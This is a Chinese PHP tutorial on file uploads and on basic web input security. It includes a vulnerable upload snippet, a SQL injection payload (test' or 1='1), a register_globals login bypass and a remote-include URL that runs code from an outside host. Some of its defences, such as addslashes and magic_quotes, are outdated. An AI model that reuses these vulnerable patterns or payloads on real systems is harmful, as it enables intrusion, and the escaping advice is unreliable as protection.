文件上傳的流程
上傳必須由POST方式的file類型表單提交,被提交的地方 一定是一個php程序,用戶在表單使用file類型的域。選在一個自己電腦上的文件,提交到php程序以后 其實就已經完成了一個上傳過程,即使這個php代碼什么都不寫上傳依然有效,所謂上傳指的是從用戶計算機發送一個文件到網站 嚴格來說是發送到服務器,而且是裝有支持上傳的解釋器的服務器,才支持使用表單上傳,我們的php解釋器就是其中之一 既然如此 文件的上傳到哪兒呢 這個是由php配置決定的,默認情況下 php允許每次上傳的2M大小的文件會上傳到系統的臨時文件夾中,上傳的位置和上傳的大小配置 我們可以在php.in配置文件找到分別是upload_max_filesize upload_tmp_dir 這兩項分別決定了每次上傳的最大文件和上傳位置,默認情況下上傳的路徑不需要設置 他會上傳到系統的臨時文件夾里 win系統在c:\windows\temp 如果我們指定了位置 他就會上傳到指定的位置,之前提到上傳必須由POST方式的file類型表單提交 ,HTML 代碼是這樣的
1 <form enctype="multipart/form-data" method="post" action="upload.php">
2 <input type="file" name="upload" />
3 <input type="submit" value="上傳" />
4 </form>
method一定是post 另外 光這樣是不夠的 還要指定編碼enctype 告訴服務器 這次提交由文件需要上傳。enctype="multipart/form-data" 如果制作文件上傳表單上面一定要加上這個,php才知道 此次提交含有文件上傳 只要表單寫成這樣指定的action的php程序存在 這次提交 就一定會產生一個上傳的過程。上傳文件的表單 必須是file類型
<input type="file" name="upload" /> 顯示效果如下 點擊上傳選擇一個文件以后 提交表單到php程序 一個上傳過程就完成了 。這個時候文件會上傳到指定的位置,但是文件上傳到這里沒有用 文件不再網站目錄下 上傳了也無法訪問,那怎么辦呢 此時把他復制過來copy函數 可以幫我們解決這個問題 函數原型為copy(源文件路徑,要保存的路徑) 不同的php環境配置的上傳路徑不一樣 那怎么辦呢 我們無法確定上傳目錄的位置 這個時候我們會用到一個預定義變量 $_FILES 和$_POST類似 區別是他只針對於file類型的表單 我們試一下打印結果如下
Array ( [upload] => Array ( [name] => 記錄.docx [type] => application/vnd.openxmlformats-officedocument.wordprocessingml.document [tmp_name] => C:\Windows\Temp\php2AB9.tmp [error] => 0 [size] => 16113 ) )返回的是一個二維數組upload就是我們在file表單里指定的name 這一點和post是一樣的 但是他里面夾帶的數據量就比較多了 name 文件名 type文件類型 tmp_name 在臨時文件夾的路徑 error 錯誤信息 size 大小 在數組中的error會返回一些錯誤信息 一共八中情況 0 1 2 3 4 5 6 7 在php手冊中有詳細介紹
UPLOAD_ERR_OK
其值為 0,沒有錯誤發生,文件上傳成功。
UPLOAD_ERR_INI_SIZE
其值為 1,上傳的文件超過了 php.ini 中 upload_max_filesize 選項限制的值。
UPLOAD_ERR_FORM_SIZE
其值為 2,上傳文件的大小超過了 HTML 表單中 MAX_FILE_SIZE 選項指定的值。
UPLOAD_ERR_PARTIAL
其值為 3,文件只有部分被上傳。
UPLOAD_ERR_NO_FILE
其值為 4,沒有文件被上傳。
UPLOAD_ERR_NO_TMP_DIR
其值為 6,找不到臨時文件夾。PHP 4.3.10 和 PHP 5.0.3 引進。
UPLOAD_ERR_CANT_WRITE
其值為 7,文件寫入失敗。PHP 5.1.0 引進。
錯誤5現在已經被拋棄 如果我們要判斷文件是否成功上傳 可以去error的值來判斷 因為是二維數組 我們需要這么寫$_FILES['upload']['error']
tmp_name 是已經上傳的文件當前的位置和文件名 我們需要制定一個新的位置 要完整的包含文件名的 如果我們需要保持用戶上傳的文件名我們可以我們可以通過 $_FILES['upload']['name'] 得到。要上傳的路徑就是我們自定義的了
<?PHP
if($_FILES['upload']['error'] == 0) {
//當前目錄下
$path = "./" . $_FILES['upload']['name'];
//把上傳的文件復制到當前目錄
copy($_FILES['upload']['tmp_name'], $path);
}
上傳最基本的兩個過程。。
第一個過程,就是用戶使用帶有 file 和聲明了數據的表單,選擇一個文件,並提交給 PHP ,這個過程我們干預不了。
第二個過程,我們把上傳好的文件,復制到我們想保存的地方。
如果不復制過來的話,PHP 就會在 PHP 執行結束后 ,自動銷毀這個文件。什么時候修改默認的上傳文件夾的位置呢 系統安全級別比較高的時候 。
我們平時在別人網站上看到上傳成功圖片之類的。並不是一上傳就看到的。。 而是復制過來之后才看到的,因為文件必須在網站的目錄下 才能通過http協議訪問 但是有些黑客會利用我們的上傳程序 上傳一些惡意的東西 或者偽造file上傳 實際上指向我們的某個php程序 當這個程序運行的過程 就會把我們的某個php程序 復制為。txt之類的文件 這樣黑客就可以下載這個文件 已達到查看我們php源代碼的目的 以便於找到漏洞 為保證我們程序的安全我們制作文件上傳的時候最好別用copy程序 而是使用php指定的一個專用函數move_uploaded_file它和 copy 的區別只有一個:move_uploaded_file 必須是通過表單提交上傳來的文件。 move_upload 如果黑客成功上傳了一個 .php 文件,他可以在這個 PHP 文件里寫上惡意的代碼,達到入侵我們服務器的目的 我們需要做一些限制 常見的就是去掉擴展名了,我們可以通過 $_FILES['upload']['name'] 得到用戶 原來的文件名,這是一個字符串 擴展名是點號分割的最好一段$ext = end(explode('.', $_FILES['upload']['name'])) 取出擴展名以后,我們可以判斷if($ext == "php") die('禁止上傳PHP文件');但是這樣不太好 要禁止的文件太多了
但是,我們可以考慮一下。我們什么時候會允許用戶
上傳文件。
會員系統需要上傳頭像
相冊功能上傳照片
文檔要允許上傳各種文檔類文件不如做成 允許上傳什么類型的文件 代碼寫的更簡單一些
圖片不外乎這幾種:jpg,jpeg,gif,png,bmp
文檔也就是:doc,docx,xls,xlsx,ppt,pdf
當文件名中含有特殊字符的時候。可能會引起我們不能正常訪問上傳的文件。
為了避免可能出現的問題 最好就是上傳以后,幫用戶重命名一下文件名。
利用rename函數 上傳的文件怎么保存到數據庫呢 我們分析下 如果用戶上傳的是圖片我們的最終目的是能在網站上顯示圖片
在網頁上顯示圖片,使用的是 HTML 碼。
<img src="圖片路徑" />
如果是點擊下載。使用的是鏈接
<a href="文件路徑">下載</a>
也就是說,這里需要顯示的是“文件路徑” 而非文件的內容 也就意味着我們只要在數據庫中保存文件的路徑就可以了在顯示的時候再把這個路徑對應顯示到html就可以了 並不需要把上傳的文件內容保存到數據庫中 文件上傳是一個危險的操作 如果編寫代碼不小心 就容易被別有用心的人利用 事實上 還有很多不安全的因素。
但是,每一種不安全的地方。我們都可以通過層層檢查的方式。來盡可能的避免。 但也只能是避免。為什么這么說呢。。事實上,各種安全手段。一開始的主要目的,並不是為了防止黑客入侵。而是防止用戶錯誤操作。 如果想通過網頁想辦法入侵的 其實都可以理解為錯誤的操作 包含GET POST COOKIE之類的 但這些是不可避免的,那怎么辦呢?一直以來這個問題一直在討論 那就是不要相信用戶的任何輸入,也就是說任何一種和外界通訊的手法都必須進行安全監察 有一點是絕對的 就是每個傳遞過來的量 里面的值一定有允許范圍 比如我們的翻頁$_GET['page']他的值一定是int類型的 最小第一頁 最大也就是總量/每頁數 那么我們就可以限制他 強行轉化為整形 判斷數字的大小 ,不建議在GET傳遞復雜的數據 比如?sql=where id=12 然后在php代碼里面$sql="select * from 表明.$_GET['sql']"這種寫法和找死沒什么區別
寧願使用 ?id=12
PHP 代碼
$id = (int)$_GET['id'];
$sql = "select * from 表名 where id = '$id'";
如果數據來源,是來自外部提交,大家一定要記得,跟據自己的程序執行范圍。嚴格判斷用戶提交過來的量。 而且 盡可能是准確的值而不要任何的表達式再加上,把用戶提交來的數據。進行嚴格的格式化檢查。至少,可以保證我們的程序。在意外的錯誤操作時,可以安全的運行下去。 比如 轉化類型 變換格式 之后再參與php的運算 這里還有一個引號問題 我們常用的查詢手法 比如說做搜索的時候
通常是這樣子
$key = $_GET['key'];
$sql = "select * from 表名 where id = '$key'";
或者身份驗證時。
$sql = "select * from 表名 where user = '$user'";
如果有人在這個時候,惡意提交一個單引號上來會是什么結果。假設,我提交是:test' or 1='1
那代入代碼。最終得到的 SQL 語句是
select * from 表名 where user = 'test' or 1='1'
這就意味着,他不管提交上來什么用戶名。都有查詢結果。。
為了防止這種情況。 我們應該檢查用戶提交上來的內容。是否含有非法字符。 而在不得不允許用戶輸入引號的地方。我們應該用 \ 有些 PHP 環境中,並沒有打開這個自動轉換引號的
if (!get_magic_quotes_gpc()) {
$lastname = addslashes($_POST['lastname']);
} else {
$lastname = $_POST['lastname'];
}
PHP 手冊提供的
get_magic_quotes_gpc()
這個函數,可以用來讀取 PHP 配置中的自動引號轉義功能是否開啟。
addslashes 這個函數,可以用於處理“量”里面的引號。沒加轉義符的。就加上。
如果已經開啟了,那就意味着,內容相對安全。可以直接用。
還有一個安全問題。這個問題在 PHP 4 時代很常見 就是允許直接使用來自 GET POST COOKIE 變量。
例如,在 PHP 4 時代,默認是允許這樣寫的
test.php?a=123;
echo $a; //123
在 PHP 5 時代,默認只能寫 echo $_GET['a'],也正是因為安全原因考慮。這個叫:自動全局變量,在 php.ini 中有這一項配置。默認是關閉的。 這個配置項叫 register_globals 有些環境中,是默認打開的。打開狀態下,允許直接使用變量名訪問 GET POST COOKIE 里的變量。 比如我們的代碼,身份驗證,本來是用 SESSION 的。
<?PHP
if(empty($_SESSION['username']))die("沒有登錄");
由於開啟了自動注冊全局變量。就可以寫成
if(empty($username)) die("沒有登錄");
但是,這個時候,如果有人在地址欄寫上
test.php?username=1 ;GET 變量也會被注冊成普通變量。於是,這里的身份驗證通過了。。。
嚴重一點的情況
?sql=select……
直接影響我們的
mysql_query($sql);
所以,為了安全。不要開啟PHP的這一項功能。
如果你們制作項目使用的服務器。已經開啟了這項功能。就要小心了。。除了 GET POST COOKIE 變量要檢查。還要檢查同名變量。。
有一種寫法。可以很方便的檢查。
foreach($_GET as $k=>$v) {
if(isset($$k) and $$k == $v) unset($$k);
}
循環檢查所有 GET 變量,按索引和值分拆開。
取索引,組成一個變量名。如果這個變量事先存在,並且值和當前 GET 值相同。就滅了它。。
如果我們提交了 test.php?a=1;
代碼一開始就寫上這個代碼。。這個時候前面跟本沒有任何的代碼。又何來的 $a ,如果偏偏它這個時候存在了。。那就一定不是我們定義的。。滅了它。
這就是所謂的 永遠不要相信外部提交來的變量,不管是用戶提交的,還是我們自己程序中轉來的,進行嚴格的檢查和判斷。是有必要的。更不要直接取預定義變量的索引名做為變量名。另外,盡量不要用外部傳遞來的量,直接參與運算。
比如有一種寫法是這樣的。
index.php
<?php
$file = $_GET['file'];
include $file . ".php";
?>這樣的寫法,有個好處。就可以在一個程序里,運行幾個不同的程序。 index.php?file=news對於 PHP 來說就是include "news.php"; 直接使用來自外部的變量,后果就是這樣index.php?file=http://我的網址/hack 結果對於我們的代碼就變成了include "http://我的網址/hack.php";
最后總結一下:
使用外部傳遞來的值,要進行一定判斷或格式化。
上傳文件的時候,更要嚴格檢查文件的類型,有必要時要進行強制的文件名重命名。
文件上傳,一定是 POST 表單,要聲明是數據上傳。一定是 file 選擇文件。
文件會上傳到服務器的臨時文件夾,文件夾必須可以訪問。
我們需要把上傳的文件復制出來。不然它馬上會消失。
復制上傳過來的文件,應當使用 move_uploaded_file 函數,以確保安全。